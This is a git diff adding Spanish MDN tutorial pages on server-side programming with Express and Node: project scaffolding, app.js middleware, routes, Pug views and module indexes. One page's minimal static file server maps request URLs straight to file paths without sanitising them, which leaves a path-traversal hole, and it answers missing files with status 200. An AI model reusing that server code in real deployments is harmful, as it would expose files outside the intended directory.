dependencia:</p> + +<pre class="brush: json notranslate"> "devDependencies": { + "nodemon": "^1.14.11" + } +</pre> + +<p>Debido a que la herramienta no fue instalada globalmente no podemos ejecutarla desde la línea de comandos (a menos que la agreguemos a la ruta) pero podemos llamarla desde un script NPM porque NPM sabe todo sobre los paquetes instalados. Busque la sección <code>scripts</code> de su package.json. Inicialmente contendrá una línea, la cual comienza con <code>"start"</code>. Actualicela colocando una coma al final de la línea, y agregue la línea <code>"devstart"</code> mostrada abajo:</p> + +<pre class="brush: json notranslate"> "scripts": { + "start": "node ./bin/www"<strong>,</strong> +<strong> "devstart": "nodemon ./bin/www"</strong> + }, +</pre> + +<p>Ahora podemos iniciar el servidor casi exactamente como antes, pero especificando el comando devstart:</p> + +<ul> + <li>En Windows, use este comando: + <pre class="brush: bash notranslate">SET DEBUG=express-locallibrary-tutorial:* & npm <strong>run devstart</strong></pre> + </li> + <li>En macOS or Linux, use este comando: + <pre class="brush: bash notranslate">DEBUG=express-locallibrary-tutorial:* npm <strong>run devstart</strong> +</pre> + </li> +</ul> + +<div class="note"> +<p><strong>Nota:</strong> Ahora si modifica cualquier archivo del proyecto el servidor se reiniciará (o lo puede reiniciar <code>rs</code> en la consola de comandos en cualquier momento). Aún necesitará recargar el navegador para refrescar la página.</p> + +<p>Ahora tendremos que llamar "<code>npm run <em><nombre del script></em></code>" en vez de <code>npm start</code>, porque "start" es actualmente un comando NPM que es mapeado al nombre del script. Podríamos haber reemplazado el comando en el script <em>start</em> pero sólo queremos usar <em>nodemon</em> durante el desarrollo, así que tiene sentido crear un nuevo script para este comando.</p> +</div> + +<h2 id="El_proyecto_generado">El proyecto generado</h2> + +<p>Observemos el proyecto que hemos creado.</p> + +<h3 id="Estructura_del_directorio">Estructura del directorio</h3> + +<p>El proyecto generado, ahora que ha instalado las dependencias, tiene la siguiente estructura de archivos (los archivos son los elementos que <strong>no</strong> están precedidos con "/"). El archivo <strong>package.json</strong> define las dependencias de la aplicación y otra información. También define un script de inicio que es el punto de entrada de la aplicación, el archivo JavaScript <strong>/bin/www</strong>. Éste establece algunos de los manejadores de error de la aplicación y luego carga el archivo <strong>app.js</strong> para que haga el resto del trabajo. Las rutas se almacenan en módulos separados en el directorio <strong>/routes</strong>. las plantillas se almacenan en el directorio /<strong>views</strong>.</p> + +<pre class="notranslate">/express-locallibrary-tutorial + <strong>app.js</strong> + /bin + <strong>www</strong> + <strong>package.json</strong> + /node_modules + [about 4,500 subdirectories and files] + /public + /images + /javascripts + /stylesheets + <strong>style.css</strong> + /routes + <strong>index.js</strong> + <strong>users.js</strong> + /views + <strong>error.pug</strong> + <strong>index.pug</strong> + <strong>layout.pug</strong> + +</pre> + +<p>Las siguientes secciones describen los archivos con más detalle. </p> + +<h3 id="package.json">package.json</h3> + +<p>El archivo <strong>package.json </strong>define las dependencias de la aplicación y otra información: </p> + +<pre class="brush: json notranslate">{ + "name": "express-locallibrary-tutorial", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, + "dependencies": { + "body-parser": "~1.18.2", + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.16.2", + "morgan": "~1.9.0", + "pug": "~2.0.0-rc.4", + "serve-favicon": "~2.4.5" + }, + "devDependencies": { + "nodemon": "^1.14.11" + } +} +</pre> + +<p>Las dependencias incluyen el paquete <em>express</em> y los paquetes para el motor de plantillas elegido (<em>pug</em>). Adicionalmente, tenemos los siguientes paquetes que son útiles en muchas aplicaciones web: </p> + +<ul> + <li><a href="https://www.npmjs.com/package/body-parser">body-parser</a>: Esto analiza la parte del cuerpo de una solicitud HTTP entrante y facilita la extracción de diferentes partes de la información contenida. Por ejemplo, puede usar esto para leer los parámetros POST.</li> + <li><a href="https://www.npmjs.com/package/cookie-parser">cookie-parser</a>: Se utiliza para analizar el encabezado de la cookie y rellenar req.cookies (esencialmente proporciona un método conveniente para acceder a la información de la cookie).</li> + <li><a href="https://www.npmjs.com/package/debug">debug</a>: Una pequeña utilidad de depuración de node modelada a partir de la técnica de depuración del núcleo de node.</li> + <li><a href="https://www.npmjs.com/package/morgan">morgan</a>: Un middleware registrador de solicitudes HTTP para node.</li> + <li><a href="https://www.npmjs.com/package/serve-favicon">serve-favicon</a>: Middleware de node para servir un favicon (este es el icono utilizado para representar el sitio dentro de la pestaña del navegador, marcadores, etc.).</li> +</ul> + +<p class="brush: bash">La sección de scripts define un script de "<em>start</em>", que es lo que invocamos cuando llamamos a npm start para iniciar el servidor. Desde la definición del script, puede ver que esto realmente inicia el archivo JavaScript <strong>./bin/www </strong>con <em>node</em>. También define un script "<em>devstart</em>", que invocamos cuando llamamos a npm run devstart en su lugar. Esto inicia el mismo archivo <strong>./bin/www</strong>, pero con <em>nodemon</em> en lugar de node.</p> + +<pre class="brush: json notranslate"> "scripts": { + "start": "node ./bin/www", + "devstart": "nodemon ./bin/www" + }, +</pre> + +<h3 id="www_file">www file</h3> + +<p>El archivo <strong>/bin/www</strong> es el punto de entrada de la aplicación. Lo primero que hace es require () el punto de entrada de la aplicación "real" (<strong>app.js</strong>, en la raíz del proyecto) que configura y devuelve el objeto de la aplicación express ().</p> + +<pre class="brush: js notranslate">#!/usr/bin/env node + +/** + * Module dependencies. + */ + +<strong>var app = require('../app');</strong> +</pre> + +<div class="note"> +<p><strong>Note:</strong> <code>require()</code> es una función de node global que se usa para importar módulos en el archivo actual. Aquí especificamos el módulo app.js utilizando una ruta relativa y omitiendo la extensión de archivo opcional (.js).</p> +</div> + +<p>El resto del código en este archivo configura un servidor HTTP de node con la aplicación configurada en un puerto específico (definido en una variable de entorno o 3000 si la variable no está definida), y comienza a escuchar e informar errores y conexiones del servidor. Por ahora no necesita saber nada más sobre el código (todo en este archivo es "repetitivo"), pero siéntase libre de revisarlo si está interesado.</p> + +<h3 id="app.js">app.js</h3> + +<p>Este archivo crea un objeto de aplicación rápida (aplicación denominada, por convención), configura la aplicación con varias configuraciones y middleware, y luego exporta la aplicación desde el módulo. El siguiente código muestra solo las partes del archivo que crean y exportan el objeto de la aplicación:</p> + +<pre class="brush: js notranslate"><code>var express = require('express'); +var app = express(); +... +</code>module.exports = app; +</pre> + +<p>De vuelta en el archivo de punto de entrada <strong>www</strong> anterior, es este objeto module.exports que se proporciona al llamante cuando se importa este archivo.</p> + +<p>Permite trabajar a través del archivo <strong>app.js </strong>en detalle. Primero importamos algunas bibliotecas de node útiles en el archivo usando require (), incluyendo <em>express</em>, <em>serve-favicon</em>, <em>morgan</em>, <em>cookie-parser</em> y <em>body-parser</em> que previamente descargamos para nuestra aplicación usando NPM; y <em>path</em>, que es una biblioteca central de nodos para analizar rutas de archivos y directorios.</p> + +<pre class="brush: js notranslate">var express = require('express'); +var path = require('path'); +var favicon = require('serve-favicon'); +var logger = require('morgan'); +var cookieParser = require('cookie-parser'); +var bodyParser = require('body-parser'); +</pre> + +<p>Luego require () modules de nuestro directorio de rutas. Estos modules/files contienen código para manejar conjuntos particulares de "routes" relacionadas (rutas URL). Cuando extendemos la aplicación esqueleto, por ejemplo, para enumerar todos los libros de la biblioteca, agregaremos un nuevo archivo para tratar las rutas relacionadas con los libros.</p> + +<pre class="brush: js notranslate">var index = require('./routes/index'); +var users = require('./routes/users'); +</pre> + +<div class="note"> +<p><strong>Note:</strong> En este punto, acabamos de importar el módulo; aún no hemos utilizado sus rutas (esto sucede un poco más abajo en el archivo).</p> +</div> + +<p>Next we create the <code>app</code> object using our imported <em>express</em> module, and then use it to set up the view (template) engine. There are two parts to setting up the engine. First we set the '<code>views</code>' value to specify the folder where the templates will be stored (in this case the sub folder <strong>/views</strong>). Then we set the '<code>view engine</code>' value to specify the template library (in this case "pug").</p> + +<pre class="brush: js notranslate">var app = express(); + +// view engine setup +app.set('views', path.join(__dirname, 'views')); +app.set('view engine', 'pug'); +</pre> + +<p>The next set of functions call <code>app.use()</code> to add the <em>middleware</em> libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the <code>express.static</code> middleware to get <em>Express</em> to serve all the static files in the <strong>/public</strong> directory in the project root.</p> + +<pre class="brush: js notranslate">// uncomment after placing your favicon in /public +//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico'))); +app.use(logger('dev')); +app.use(bodyParser.json()); +app.use(bodyParser.urlencoded({ extended: false })); +app.use(cookieParser()); +<strong>app.use(express.static(path.join(__dirname, 'public')));</strong> +</pre> + +<p>Now that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different <em>parts</em> of the site:</p> + +<pre class="brush: js notranslate">app.use('/', index); +app.use('/users', users); +</pre> + +<div class="note"> +<p><strong>Note:</strong> The paths specified above ('/' and '<code>/users'</code>) are treated as a prefix to routes defined in the imported files. So for example if the imported <strong>users</strong> module defines a route for <code>/profile</code>, you would access that route at <code>/users/profile</code>. We'll talk more about routes in a later article.</p> +</div> + +<p id="error_handling">The last middleware in the file adds handler methods for errors and HTTP 404 responses.</p> + +<pre class="brush: js notranslate">// catch 404 and forward to error handler +app.use(function(req, res, next) { + var err = new Error('Not Found'); + err.status = 404; + next(err); +}); + +// error handler +app.use(function(err, req, res, next) { + // set locals, only providing error in development + res.locals.message = err.message; + res.locals.error = req.app.get('env') === 'development' ? err : {}; + + // render the error page + res.status(err.status || 500); + res.render('error'); +}); +</pre> + +<p>The Express application object (app) is now fully configured. The last step is to add it to the module exports (this is what allows it to be imported by <strong>/bin/www</strong>).</p> + +<pre class="brush: js notranslate">module.exports = app;</pre> + +<h3 id="Routes">Routes</h3> + +<p>The route file <strong>/routes/users.js</strong> is shown below (route files share a similar structure, so we don't need to also show <strong>index.js</strong>). First it loads the <em>express</em> module, and uses it to get an <code>express.Router</code> object. Then it specifies a route on that object, and lastly exports the router from the module (this is what allows the file to be imported into <strong>app.js</strong>).</p> + +<pre class="brush: js notranslate">var express = require('express'); +var router = express.Router(); + +/* GET users listing. */ +<strong>router.get('/', function(req, res, next) { + res.send('respond with a resource'); +});</strong> + +module.exports = router; +</pre> + +<p>The route defines a callback that will be invoked whenever an HTTP <code>GET</code> request with the correct pattern is detected. The matching pattern is the route specified when the module is imported ('<code>/users</code>') plus whatever is defined in this file ('<code>/</code>'). In other words, this route will be used when an URL of <code>/users/</code> is received.</p> + +<div class="note"> +<p><strong>Tip:</strong> Try this out by running the server with node and visiting the URL in your browser: <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. You should see a message: 'respond with a resource'.</p> +</div> + +<p>One thing of interest above is that the callback function has the third argument '<code>next</code>', and is hence a middleware function rather than a simple route callback. While the code doesn't currently use the <code>next</code> argument, it may be useful in the future if you want to add multiple route handlers to the <code>'/'</code> route path.</p> + +<h3 id="Views_templates">Views (templates)</h3> + +<p>The views (templates) are stored in the <strong>/views</strong> directory (as specified in <strong>app.js</strong>) and are given the file extension <strong>.pug</strong>. The method <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> is used to render a specified template along with the values of named variables passed in an object, and then send the result as a response. In the code below from <strong>/routes/index.js</strong> you can see how that route renders a response using the template "index" passing the template variable "title".</p> + +<pre class="brush: js notranslate">/* GET home page. */ +router.get('/', function(req, res) { + res.render('index', { title: 'Express' }); +}); +</pre> + +<p>The corresponding template for the above route is given below (<strong>index.pug</strong>). We'll talk more about the syntax later. All you need to know for now is that the <code>title</code> variable (with value <code>'Express'</code>) is inserted where specified in the template.</p> + +<pre class="notranslate">extends layout + +block content + h1= title + p Welcome to #{title} +</pre> + +<h2 id="Challenge_yourself">Challenge yourself</h2> + +<p>Create a new route in <strong>/routes/users.js</strong> that will display the text "<em>You're so cool"</em> at URL <code>/users/cool/</code>. Test it by running the server and visiting <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a> in your browser</p> + +<ul> +</ul> + +<h2 id="Summary">Summary</h2> + +<p>You have now created a skeleton website project for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Local Library</a> and verified that it runs using <em>node</em>. Most important, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.</p> + +<p>Next we'll start modifying the skeleton so that works as a library website.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (Express docs)</li> + <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..825cc0c8c0 --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html @@ -0,0 +1,83 @@ +--- +title: 'Express Tutorial: The Local Library website' +slug: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div> + +<p class="summary"><span id="result_box" lang="es"><span>El primer artículo de nuestra serie de tutoriales prácticos explica lo que aprenderá y proporciona una descripción general del sitio web de ejemplo de la "biblioteca local" en el que trabajaremos y evolucionaremos en artículos posteriores.</span></span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisitos:</th> + <td>Leer la <a href="/es/docs/Learn/Server-side/Express_Nodejs/Introduction">Introducción a Express</a>. <span id="result_box" lang="es"><span>Para los siguientes artículos, también deberá haber </span></span><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">configurado un entorno de desarrollo de Node</a>. </td> + </tr> + <tr> + <th scope="row">Objetivo:</th> + <td><span id="result_box" lang="es"><span>Presentar la aplicación de ejemplo utilizada en este tutorial, y permitir a los lectores comprender qué temas se tratarán.</span></span></td> + </tr> + </tbody> +</table> + +<h2 id="Visión_General">Visión General</h2> + +<p><span id="result_box" lang="es"><span>Bienvenido al tutorial de MDN "Biblioteca Local" </span></span><span lang="es"><span>Express (Node), en el cual desarrollamos un sitio web que podría usarse para administrar el catálogo de una biblioteca local.</span><br> + <br> + <span>En esta serie de artículos tutoriales, usted:</span></span></p> + +<ul> + <li><span lang="es"><span>Usará la herramienta </span></span><em>Express Application Generator</em><span lang="es"><span> para crear un sitio web esquemático y una aplicación. </span></span></li> + <li><span lang="es"><span>Iniciará y detendrá el servidor web Node</span></span>.</li> + <li><span lang="es"><span>Usará una base de datos para almacenar los datos de la aplicación</span></span>.</li> + <li><span lang="es"><span>Creará rutas para solicitar diferente información y plantillas ("vistas") para representar los datos como HTML para que se muestren en el navegador</span></span></li> + <li><span lang="es"><span>Trabajará con formularios</span></span></li> + <li><span lang="es"><span>Implementará su aplicación en producción</span></span></li> +</ul> + +<p><span id="result_box" lang="es"><span>Ya se ha aprendido sobre algunos de estos temas y se ha referido brevemente a otros.</span> <span>Al final de la serie de tutoriales, debe saber lo suficiente como para desarrollar aplicaciones Express simples usted mismo.</span></span></p> + +<h2 id="The_LocalLibrary_website">The LocalLibrary website</h2> + +<p><em>LocalLibrary</em> es el nombre del website que vamos a desarrollar en esta serie de tutoriales. Tal como esperas, el objetivo del website es proveer un catalogo online para una pequeña libreria, donde los usuarios exploren los libros disponibles y administren sus cuentas.</p> + +<p>Este ejemplo ha sido cuidadosamente elegido porque puede escalarse para mostrar tantos o pocos detalles como necesitemos, de igual forma puede usarse para presentar casi todas las caracteristicas de Express. Mas importante aún, nos permite proporcionar una ruta guiada a traves de la funcionalidad que necesita cualquier sitio web:</p> + +<ul> + <li>En los primeros articulos definiremos una biblioteca simple, <em>unicamente de navegacion, </em>que los miembros de la biblioteca usaran para saber que libros estan disponibles. Esto permite explorar las operationes mas comunes de los sitios web: lectura y presentacion de contenido de una base de datos.</li> + <li>A medida que avancemos, el ejemplo de la biblioteca se extenderá naturalmente para mostrar las caracteristicas mas avanzadas del sitio web. Por ejemplo, podemos extender la biblioteca para que se creen nuevos libros, de esta manera conoceremos como usar los formularios (forms) y la autenticacion de usuarios.</li> +</ul> + +<p>Aunque este ejemplo se puede extender mucho mas, se llama LocalLibrary por una razón , esperamos mostrar informacion minima que le ayudara a comenzar a utilizar Express rapidamente. Como resultado, almacenaremos informacion acerca de libros, copias de libros, autores y otra informacion clave. Sin embargo, no almacenaremos informacion sobre otros elementos que una biblioteca pueda tener, o proveer la infraestructura necesaria para soportar multiples sitios u otras caracteristicas de grandes bibliotecas. </p> + +<h2 id="Estoy_atascado_donde_puedo_obtener_el_codigo_fuente">Estoy atascado, donde puedo obtener el codigo fuente?</h2> + +<p>A medida que avance, le proporcionaremos los fragmentos de codigo adecuado para que usted los copie y pegue en cada punto, ademas, habrá otro código con el proposito de que usted lo complete para afianzar su conocimiento (con alguna orientacion).</p> + +<p>Si aun asi sigues atasaco, puedes encontrar la version completamente desarrollada del sitio web <a href="https://github.com/mdn/express-locallibrary-tutorial">en Github aqui</a>.</p> + +<div class="note"> +<p><strong>Note:</strong> Las versiones especificas de node, Express, y los otros modulos con los que se probó esta documentación estan enumeradas en el projecto <a href="https://github.com/mdn/express-locallibrary-tutorial/blob/master/package.json">package.json</a>.</p> +</div> + +<h2 id="Summary">Summary</h2> + +<p>Ahora que sabes un poco mas del sitio web <em>LocalLIbrary</em> y lo que vas a aprender, es tiempo de comenzar a crear un <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton project</a>o para contener nuestro ejemplo.</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/es/learn/server-side/index.html b/files/es/learn/server-side/index.html new file mode 100644 index 0000000000..e22f39084f --- /dev/null +++ b/files/es/learn/server-side/index.html @@ -0,0 +1,57 @@ +--- +title: Programación lado servidor +slug: Learn/Server-side +tags: + - Aprendizaje + - Aterrizaje + - Codificación de scripts + - Principiante + - Programación lado servidor + - Servidor + - Tema + - introducción +translation_of: Learn/Server-side +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">El tema<strong><em> Páginas Dinámicas </em></strong>–<em><strong> Programación lado servidor </strong></em>contiene una serie de módulos en los que se enseña como crear sitios web dinámicos, sitios que entregan información personalizada como respuesta a las peticiones HTTP. El modulo ofrece una introducción generica a la programación de lado servidor además de guías para principiantes sobre como usar frameworks como Django (Python) y Express(Node.js/JavaScript) para crear aplicaciones web basicas.</p> + +<p>La mayoría de los principales sitios web utilizan alguna forma de tecnología de lado servidor para presentar dinámicamente datos cuando sean requeridos. Por ejemplo, imagina cuántos productos están disponibles en Amazon e imagina cuántas entradas han sido escritas en Facebook. Presentar todo esto usando páginas estáticas completamente diferentes sería completamente ineficiente, por lo que estos sitios en lugar de ello presentan plantillas estáticas (construidas usando <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, y <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>), y actualizan dinámicamente los datos presentados dentro de esas plantillas cuando se necesiten, ej. cuando quieres ver un producto diferente en Amazon.</p> + +<p>En el mundo moderno del desarrollo web, el aprendizaje del desarrollo de lado servidor es altamente recomendado.</p> + +<h2 id="Itinerario_de_aprendizaje">Itinerario de aprendizaje</h2> + +<p>Empezar con la programación lado servidor es normalmente más fácil que con el desarrollo del lado cliente, ya que los sitios web dinámicos tienden a efectuar un montón de operaciones muy similares (recuperar datos de una base y presentarlos en una página, validar datos introducidos por los usuarios y guardarlos en la base, comprobar los permisos e inicios de sesión de los usuarios, etc.), y se construyen usando web frameworks que hacen muy facilmente éstas y otras operaciones comunes en un servidor web.</p> + +<p>Un conocimiento básico de conceptos de programación (o de un lenguaje de programación en particular) es útil, pero no imprescindible. Igualmente, no hace falta ser un experto en codificación lado cliente, pero un conocimiento básico te ayudará a trabajar mejor con los desarrolladores creando tu "front-end" de web lado cliente.</p> + +<p>Necesitarás entender "cómo tabaja la web". Te recomendamos que leas primero los siguientes temas:</p> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">¿Qué es un servidor web?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué software necesito para construir un sitio web?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo subo ficheros a un servidor web?</a></li> +</ul> + +<p>Con ese conocimiento básico estarás preparado para recorrer el camino a través de los módulos de esta sección.</p> + +<h2 id="Módulos">Módulos</h2> + +<p>Este tema contiene los siguientes módulos. Deberías comenzar por el primer módulo y a continuación ir a uno de los módulos siguientes, que muestran cómo trabajar con dos lenguajes muy populares de lado servidor usando los web frameworks adecuados.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">Primeros pasos en la programación lado servidor de sitios web</a></dt> + <dd>Este módulo proporciona información acerca de la programación lado servidor de sitios web sin adentrarse en la tecnología de los servidores, incluyendo respuestas a las preguntas a cuestiones fundamentales acerca de la programación de lado servidor — "¿qué es?", "¿en qué se diferencia de la programación de lado cliente?" y "¿porqué es tan útil?" — y una visión general de algunos de los web frameworks de lado servidor más populares e indicaciones de cómo seleccionar el más adecuado para tu sitio. Finalmente proporcionaremos una sección de introducción a la seguridad en servidores web.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt> + <dd>Django es un web framework extremadamete popular y con funcionalidad completa, escrito en Python. El módulo explica porqué Django es tan buen framework de servidor web, cómo configurar un entorno de desarrollo y cómo realizar tareas comunes con él.</dd> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt> + <dd>Express es un web framework popular, escrito en JavaScript y hospedado dentro del entorno de ejecución en tiempo real "node.js". El módulo explica algunos de los beneficios clave de este framework, cómo configurar tu entorno de desarrollo y cómo realizar tareas comunes de desarrollo y despliegue web.</dd> +</dl> + +<h2 id="Ver_también">Ver también</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Node_server_without_framework">Node servidor sin framework</a></dt> + <dd>Este artículo proporciona un servidor de ficheros estático, construido con Node.js puro, para aquellos de vosotros que no os apetezca usar un framework.</dd> +</dl> diff --git a/files/es/learn/server-side/node_server_without_framework/index.html b/files/es/learn/server-side/node_server_without_framework/index.html new file mode 100644 index 0000000000..11826d3e73 --- /dev/null +++ b/files/es/learn/server-side/node_server_without_framework/index.html @@ -0,0 +1,81 @@ +--- +title: Servidor Node sin framework +slug: Learn/Server-side/Node_server_without_framework +translation_of: Learn/Server-side/Node_server_without_framework +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Este artículo proporciona un servidor de ficheros estático simple construido con Node.js puro, para aquellos de vosotros que no quieran usar un framework.</p> + +<p><a href="https://nodejs.org/en/">NodeJS</a> has many frameworks to help you get your server up and running, the most popular being:</p> + +<ul> + <li><a href="http://expressjs.com/">Express</a>: The most used framework.</li> + <li><a href="https://www.totaljs.com/">Total</a>: The all-in-one Node.js framework that has everything and does not depend on any other framework or module.</li> +</ul> + +<p>There is however not a solution that will suit every situation. A developer may need to build his/her own server, without any other dependency.</p> + +<h2 id="Example">Example</h2> + +<p>Below is a simple static file server built with NodeJS:</p> + +<pre class="brush: js">var http = require('http'); +var fs = require('fs'); +var path = require('path'); + +http.createServer(function (request, response) { + console.log('request ', request.url); + + var filePath = '.' + request.url; + if (filePath == './') { + filePath = './index.html'; + } + + var extname = String(path.extname(filePath)).toLowerCase(); + var contentType = 'text/html'; + var mimeTypes = { + '.html': 'text/html', + '.js': 'text/javascript', + '.css': 'text/css', + '.json': 'application/json', + '.png': 'image/png', + '.jpg': 'image/jpg', + '.gif': 'image/gif', + '.wav': 'audio/wav', + '.mp4': 'video/mp4', + '.woff': 'application/font-woff', + '.ttf': 'application/font-ttf', + '.eot': 'application/vnd.ms-fontobject', + '.otf': 'application/font-otf', + '.svg': 'application/image/svg+xml' + }; + + contentType = mimeTypes[extname] || 'application/octet-stream'; + + fs.readFile(filePath, function(error, content) { + if (error) { + if(error.code == 'ENOENT'){ + fs.readFile('./404.html', function(error, content) { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + }); + } + else { + response.writeHead(500); + response.end('Sorry, check with the site admin for error: '+error.code+' ..\n'); + response.end(); + } + } + else { + response.writeHead(200, { 'Content-Type': contentType }); + response.end(content, 'utf-8'); + } + }); + +}).listen(8125); +console.log('Server running at http://127.0.0.1:8125/');</pre> + +<h2 id="To_do">To do</h2> + +<p>It would be nice to extend this article to explain how the above code works, and perhaps also show an extended version that serves static files and also handles some kind of dynamic requests too.</p> diff --git a/files/es/learn/server-side/primeros_pasos/index.html b/files/es/learn/server-side/primeros_pasos/index.html new file mode 100644 index 0000000000..19a5454b4b --- /dev/null +++ b/files/es/learn/server-side/primeros_pasos/index.html @@ -0,0 +1,47 @@ +--- +title: Primeros Pasos en la Programación de Lado-Servidor +slug: Learn/Server-side/Primeros_pasos +tags: + - Aprendizaje + - Aterrizaje + - Codificación de scripts + - Guía + - Principiante + - Programación lado servidor + - introducción +translation_of: Learn/Server-side/First_steps +--- +<div>{{LearnSidebar}}</div> + +<p>En este, nuestro módulo sobre programación de Lado-Servidor, contestaremos a unas pocas preguntas fundamentales - "¿Qué es?", "¿En qué se diferencia de la programación de Lado-Cliente?" y "¿Porqué es tan útil?". Proporcionaremos un vistazo de algunos de los "web-frameworks" de lado-servidor más populares, junto con indicaciones de cómo seleccionar el framework más adecuado para crear tu primer sitio. Finalmente proporcionaremos un artículo introductorio de alto nivel sobre seguridad en el servidor web. </p> + +<h2 id="Prerequisitos">Prerequisitos</h2> + +<p>Antes de comenzar este módulo no necesitas tener ningún conocimiento de programación de sitios web de lado-servidor, y tampoco de ningún otro tipo de programación.</p> + +<p>Necesitarás entender "cómo funciona la web". Te recomendamos que leas primero los siguientes temas:</p> + +<ul> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">Qué es un servidor web</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué software necesito para construir un sitio web?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo se suben los ficheros a un servidor web?</a></li> +</ul> + +<p>Con este conocimiento básico estarás listo para recorrer el camino a través de los módulos de esta sección.</p> + +<h2 id="Guías">Guías</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></dt> + <dd>¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; 